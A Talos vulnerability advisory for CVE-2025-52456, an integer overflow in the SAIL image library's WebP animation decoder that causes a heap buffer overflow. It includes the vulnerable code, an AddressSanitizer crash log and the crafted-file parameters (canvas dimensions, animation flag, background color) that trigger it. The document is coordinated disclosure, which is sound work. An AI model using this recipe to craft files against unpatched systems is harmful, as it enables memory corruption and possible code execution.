Talos Vulnerability Report

TALOS-2025-2224

SAIL Image Decoding Library WebP Image Decoding integer overflow vulnerability

August 25, 2025
CVE Number

CVE-2025-52456

SUMMARY

A memory corruption vulnerability exists in the WebP Image Decoding functionality of the SAIL Image Decoding Library v0.9.8. When loading a specially crafted .webp animation an integer overflow can be made to occur when calculating the stride for decoding. Afterwards, this will cause a heap-based buffer to overflow when decoding the image which can lead to remote code execution. An attacker will need to convince the library to read a file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SAIL Image Decoding Library v0.9.8
221db576ce1263ab92bd882f344b68b8eec16cad (master)

PRODUCT URLS

SAIL Image Decoding Library - https://sail.software/

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-680 - Integer Overflow to Buffer Overflow

DETAILS

SAIL is a format-agnostic image decoding library supporting all popular image formats. Being one of the fastest among competitors, it provides simple yet powerful C/C++ API for end-users. SAIL works on Windows, macOS, and Linux platforms.

When the library is used to read a WebP image file, the following sail_codec_load_init_v8_webp function will be used. At [1], a uint32_t signature and size is read from the beginning of the file. This is then used to read the entire contents of the file into a buffer at [2]. Once the contents of the file has been read, the call to WebPDemux at [3] will be used to initialize the WebP demuxer from the “libwebp” parsing library. This library will be used for extracting any information and decoding the contents of the WebP image being processed.

src/sail-codecs/webp/webp.c:121-189
SAIL_EXPORT sail_status_t sail_codec_load_init_v8_webp(struct sail_io *io, const struct sail_load_options *load_options, void **state) {

    *state = NULL;

    /* Allocate a new state. */
    struct webp_state *webp_state;
    SAIL_TRY(alloc_webp_state(load_options, NULL, &webp_state));
    *state = webp_state;

    /* Read the entire image. */
    SAIL_ALIGNAS(uint32_t) char signature_and_size[8];
    SAIL_TRY(io->strict_read(io->stream, signature_and_size, sizeof(signature_and_size)));              // [1] read the signature and size
    webp_state->image_data_size = *(uint32_t *)(signature_and_size + 4) + sizeof(signature_and_size);
...
    SAIL_TRY(io->strict_read(io->stream, webp_state->image_data, webp_state->image_data_size));         // [2] read the entire image data

    /* Construct a WebP demuxer. */
    const WebPData data = { webp_state->image_data, webp_state->image_data_size };

    webp_state->webp_demux = WebPDemux(&data);                                                          // [3] initialize libwebp parser

    SAIL_TRY(sail_malloc(sizeof(WebPIterator), &ptr));
    webp_state->webp_iterator = ptr;
...
    return SAIL_OK;
}

Once the WebP demuxer has been initialized, the function will then query at [4] the instantiated demuxer for attributes such as the background color and number of frames. Following this at [5], the WebP demuxer is then queried for the image width and height. Once the image dimensions have been extracted, the implementation of the function will set the pixel format to 32-bit for decoding. The vulnerability described by this document specifically involves both of these fields and the pixel format. Afterwards at [6], the length of a scan line will be calculated. This length will be used later by the library in order to allocate space for the image size.

src/sail-codecs/webp/webp.c:121-189
SAIL_EXPORT sail_status_t sail_codec_load_init_v8_webp(struct sail_io *io, const struct sail_load_options *load_options, void **state) {
...
    /* Frame count and other image info. */
    webp_state->background_color = WebPDemuxGetI(webp_state->webp_demux, WEBP_FF_BACKGROUND_COLOR);     // [4] ask libwebp parser for background color
    webp_state->frame_count      = WebPDemuxGetI(webp_state->webp_demux, WEBP_FF_FRAME_COUNT);          // [4] ask libwebp parser for frame count
...
    image_local->width          = WebPDemuxGetI(webp_state->webp_demux, WEBP_FF_CANVAS_WIDTH);          // [5] ask libwebp parser for image width
    image_local->height         = WebPDemuxGetI(webp_state->webp_demux, WEBP_FF_CANVAS_HEIGHT);         // [5] ask libwebp parser for image height
    image_local->pixel_format   = SAIL_PIXEL_FORMAT_BPP32_RGBA;                                         // [5] set 32-bit pixel format RGBA
    image_local->bytes_per_line = sail_bytes_per_line(image_local->width, image_local->pixel_format);   // [6] calculate stride
...
    return SAIL_OK;
}

After the image has been loaded, the library will use the following sail_codec_load_seek_next_frame_v8_webp function to transition to the next frame in the image. At [7], the length of the scan line that was calculated earlier and the image height will be multiplied in order to determine how much space should be allocated to decode the image. It is this calculation that can be made to overflow. If the product of the image width, the image height, and 4-bytes for the “RGBA” pixel format are larger than 32-bits, then an integer overflow will occur on 32-bit platforms. As a result of the integer overflow, the allocation at [8] will result in an undersized heap buffer. This heap buffer is then passed to the webp_private_fill_color function at [9].

SAIL_EXPORT sail_status_t sail_codec_load_seek_next_frame_v8_webp(void *state, struct sail_image **image) {

    struct webp_state *webp_state = state;

    /* Start demuxing. */
    if (webp_state->frame_number == 0) {
        if (WebPDemuxGetFrame(webp_state->webp_demux, 1, webp_state->webp_iterator) == 0) {
            SAIL_LOG_ERROR("WEBP: Failed to get the first frame");
            SAIL_LOG_AND_RETURN(SAIL_ERROR_UNDERLYING_CODEC);
        }

        /* Allocate a canvas frame to apply disposal later. */
        size_t image_size = (size_t)webp_state->canvas_image->bytes_per_line * webp_state->canvas_image->height;                            // [7] integer overflow

        void *ptr;
        SAIL_TRY(sail_malloc(image_size, &ptr));                                                                                            // [8] allocate space for image
        webp_state->canvas_image->pixels = ptr;

        /* Fill background. */
        webp_private_fill_color(webp_state->canvas_image->pixels, webp_state->canvas_image->bytes_per_line, webp_state->bytes_per_pixel,    // [9] fill up image background
                                webp_state->background_color, 0, 0, webp_state->canvas_image->width, webp_state->canvas_image->height);
    } else {
...
    }
...
    return SAIL_OK;
}

The implementation of the webp_private_fill_color function is as follows. This function will iterate through each scan line of the memory that was allocated, and fill it with the specified background color at [10]. Due to the prior integer overflow being used for allocating space for the image canvas, this call to memcpy will write outside the bounds of the undersized heap-buffer resulting in a heap-based buffer overflow. These types of memory corruptions can allow for remote code execution under the context of the library.

src/sail-codecs/webp/helpers.c:32-42
void webp_private_fill_color(uint8_t *pixels, unsigned bytes_per_line, unsigned bytes_per_pixel,
                                uint32_t color, unsigned x, unsigned y, unsigned width, unsigned height) {

    uint8_t *scanline = pixels + y * bytes_per_line + x * bytes_per_pixel;

    for (unsigned row = 0; row < height; row++, scanline += bytes_per_line) {
        for (unsigned column = 0; column < width * bytes_per_pixel; column += bytes_per_pixel) {
            memcpy(scanline + column, &color, sizeof(color));                                       // [10] write background color into undersized heap buffer
        }
    }
}

Crash Information

$ sail decode poc.webp
File          : poc.webp
Codec         : WEBP [Web Picture]
Codec version : 0.7.1
=================================================================
==1099271==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf4504233 at pc 0x08187925 bp 0xff9a5918 sp 0xff9a590c
WRITE of size 4 at 0xf4504233 thread T0
    #0 0x08187924 in webp_private_fill_color /path/to/sail/sail/src/sail-codecs/webp/helpers.c:39:13
    #1 0x08172573 in sail_codec_load_seek_next_frame_v8_webp /path/to/sail/sail/src/sail-codecs/webp/webp.c:210:9
    #2 0x08141af1 in sail_load_next_frame /path/to/sail/sail/src/sail/sail_advanced.c:106:5
    #3 0x0813a18f in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:237:22
    #4 0x08138563 in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
    #5 0xf788c0e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: d8ec83185a7ffadd7880342d099cee757c7428d0)
    #6 0xf788c1b7 in __libc_start_main@GLIBC_2.0 (/lib/libc.so.6+0x31b7) (BuildId: d8ec83185a7ffadd7880342d099cee757c7428d0)
    #7 0x08049157 in _start (/path/to/sail/sail+0x8049157) (BuildId: 8d1ed679640498dacd39d6ae2c7b247cd9039573)

0xf4504233 is located 2 bytes after 1-byte region [0xf4504230,0xf4504231)
allocated by thread T0 here:
    #0 0x080eb646 in malloc (/path/to/sail/sail/build32-asan/examples/c/sail/sail+0x80eb646) (BuildId: 8d1ed679640498dacd39d6ae2c7b247cd9039573)
    #1 0x08193221 in sail_malloc /path/to/sail/sail/src/sail-common/memory.c:34:23
    #2 0x08172408 in sail_codec_load_seek_next_frame_v8_webp /path/to/sail/sail/src/sail-codecs/webp/webp.c:206:9
    #3 0x08141af1 in sail_load_next_frame /path/to/sail/sail/src/sail/sail_advanced.c:106:5
    #4 0x0813a18f in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:237:22
    #5 0x08138563 in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
    #6 0xf788c0e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: d8ec83185a7ffadd7880342d099cee757c7428d0)

SUMMARY: AddressSanitizer: heap-buffer-overflow /path/to/sail/sail/src/sail-codecs/webp/helpers.c:39:13 in webp_private_fill_color
Shadow bytes around the buggy address:
  0xf4503f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf4504000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf4504080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf4504100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf4504180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0xf4504200: fa fa fa fa fa fa[01]fa fa fa 00 fa fa fa 00 04
  0xf4504280: fa fa 00 fa fa fa fd fa fa fa fd fd fa fa fd fa
  0xf4504300: fa fa fd fa fa fa fd fa fa fa 00 04 fa fa 00 fa
  0xf4504380: fa fa 00 00 fa fa 00 fa fa fa 04 fa fa fa 00 fa
  0xf4504400: fa fa 00 01 fa fa 04 fa fa fa 06 fa fa fa 00 fa
  0xf4504480: fa fa 00 fa fa fa 00 fa fa fa fd fd fa fa fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1099271==ABORTING

Exploit Proof of Concept

To generate the image, the provided proof-of-concept can be run with Python3. During this process, the proof-of-concept will output the contents of the VP8 uncompressed frame which can be ignored.

$ python poc.py3.zip poc.webp
...

The WebP format is documented by RFC9649 and conforms to the Resource Interchange File Format (RIFF).

>>> a
<class webp.File> 'unnamed_7fc0ae4fa990' {unnamed=True}
[0] <instance c(be(riff.Id)) 'id'> RIFF(0x52494646) 'RIFF'
[4] <instance riff.u32 'size'> 0x00001364 (4964)
[8] <instance riff.RIFF 'data'> "\x57\x45\x42\x50\x56\x50\x38\x58\x0a\x00\x00\x00\x02\x00 ...total 4964 bytes... \xf5\x24\x1b\xad\x63\x7f\x6e\x12\x60\x6b\xb8\x8e\xe2"
[136c] <instance ptype.block 'extra'> ...

The first chunk inside a WebP image has a signature of “WEBP” and is followed by a number of chunks describing how the image should be decoded.

>>> a['data']
<class riff.RIFF> 'data'
[8] <instance c(be(riff.Id)) 'Signature'> 0x57454250 'WEBP'
[c] <instance riff.ChunkArray 'Chunks'> riff.Chunk[3] "\x56\x50\x38\x58\x0a\x00\x00\x00\x02\x00\x00\x00\xff\x3f ...total 4960 bytes... \xf5\x24\x1b\xad\x63\x7f\x6e\x12\x60\x6b\xb8\x8e\xe2"

The first chunk within the “WEBP” chunk has a type of “VP8X”. This chunk type is used to describe animation information about the specified image.

>>> a['data']['chunks'][0]
<class riff.Chunk> '0'
[c] <instance c(be(riff.Id)) 'id'> VP8X(0x56503858) 'VP8X'
[10] <instance riff.u32 'size'> 0x0000000a (10)
[14] <instance riff.VP8X 'data'> "\x02\x00\x00\x00\xff\x3f\x00\xff\xff\x00"
[1e] <instance ptype.block 'extra'> ...

The contents of the VP8X chunk contains the image dimensions and a set of flags. These dimensions are directly related to the vulnerability described by this document. The “WidthMinus1” and “HeightMinus1” fields are 24-bit unsigned integers that have 1 subtracted from their actual values. As the pixel format specified by the library is “RGBA”, the stride will be multiplied by 4 bytes. If the product of the “WidthMinus1” field (+1), the “HeightMinus1” field (+1), and 4 is larger than 32-bits then this vulnerability is being triggered. It is also worth noting that if the product of the “WidthMinus1” field (+1) and the “HeightMinus1” field (+1) is larger than 32-bits, then the vulnerability will not be triggered due to a guard implemented by the depending WebP parsing library.

>>> a['data']['chunks'][0]['data']
<class riff.VP8X> 'data'
[14] <instance c(pb(riff.VP8X._Flags)) 'Flags'> {bits=8,partial=True} (0x02,8) :> A
[15] <instance riff.u24 'Reserved'> 0x000000 (0)
[18] <instance riff.u24 'WidthMinus1'> 0x003fff (16383)
[1b] <instance riff.u24 'HeightMinus1'> 0x00ffff (65535)

The flags for the “VP8X” chunk are as follows. In order to trigger the heap-based buffer overflow, the 7th bit “A” must be set which specifies that the WebP image is to be animated.

>>> a['data']['chunks'][0]['data']['flags']
<class c(pb(riff.VP8X._Flags))> 'Flags' {bits=8,partial=True}
[14.0] <instance c(pbinary.integer) 'Rsv'> (0x0,2)
[14.4] <instance c(pbinary.integer) 'I'> (0x0,1)
[14.6] <instance c(pbinary.integer) 'L'> (0x0,1)
[14.8] <instance c(pbinary.integer) 'E'> (0x0,1)
[14.a] <instance c(pbinary.integer) 'X'> (0x0,1)
[14.c] <instance c(pbinary.integer) 'A'> (0x1,1)
[14.e] <instance c(pbinary.integer) 'R'> (0x0,1)

Once the “VP8X” chunk has been defined, the next chunk in the proof of concept is the following “ANIM” chunk.

>>> a['data']['chunks'][1]
<class riff.Chunk> '1'
[1e] <instance c(be(riff.Id)) 'id'> ANIM(0x414e494d) 'ANIM'
[22] <instance riff.u32 'size'> 0x00000006 (6)
[26] <instance riff.ANIM 'data'> "\x00\x00\x00\x00\x00\x00"
[2c] <instance ptype.block 'extra'> ...

This chunk contains the “BackgroundColor” field that is used to reset the animation after each frame. This value controls what is written outside the bounds of the undersized buffer.

>>> a['data']['chunks'][1]['data']
<class riff.ANIM> 'data'
[26] <instance riff.ColorBGRA 'BackgroundColor'> "\x00\x00\x00\x00"
[2a] <instance riff.u16 'LoopCount'> 0x0000 (0)

Following the “ANIM” chunk, is the “ANMF” chunk. This chunk contains information about the specific animation frame.

>>> a['data']['chunks'][2]
<class riff.Chunk> '2'
[2c] <instance c(be(riff.Id)) 'id'> ANMF(0x414e4d46) 'ANMF'
[30] <instance riff.u32 'size'> 0x00001338 (4920)
[34] <instance riff.ANMF 'data'> "\x00\x00\x00\x00\x00\x00\xff\x3f\x00\xff\xff\x00\x00\x00 ...total 4920 bytes... \xf5\x24\x1b\xad\x63\x7f\x6e\x12\x60\x6b\xb8\x8e\xe2"
[136c] <instance ptype.block 'extra'> ...

Inside this chunk is a list of chunks containing the VP8 or VP8L encoded frame information. The dimensions inside this chunk or the following bitstream chunks are not related to the vulnerability.

>>> a['data']['chunks'][2]['data']
<class riff.ANMF> 'data'
[34] <instance riff.u24 'X'> 0x000000 (0)
[37] <instance riff.u24 'Y'> 0x000000 (0)
[3a] <instance riff.u24 'WidthMinus1'> 0x000001 (1)
[3d] <instance riff.u24 'HeightMinus1'> 0x000001 (1)
[40] <instance riff.u24 'Duration'> 0x000000 (0)
[43] <instance c(pb(riff.ANMF._methodBits)) 'Method'> {bits=8,partial=True} (0x00,8)
[44] <instance riff.ChunkArray 'FrameData'> riff.Chunk[1] "\x56\x50\x38\x20\x20\x13\x00\x00\x70\x48\x00\x9d\x01\x2a ...total 4904 bytes... \xf5\x24\x1b\xad\x63\x7f\x6e\x12\x60\x6b\xb8\x8e\xe2"
TIMELINE

2025-07-29 - Initial Vendor Contact
2025-07-29 - Vendor Disclosure
2025-08-03 - Vendor Patch Release
2025-08-25 - Public Release

Credit

Discovered by a member of Cisco Talos.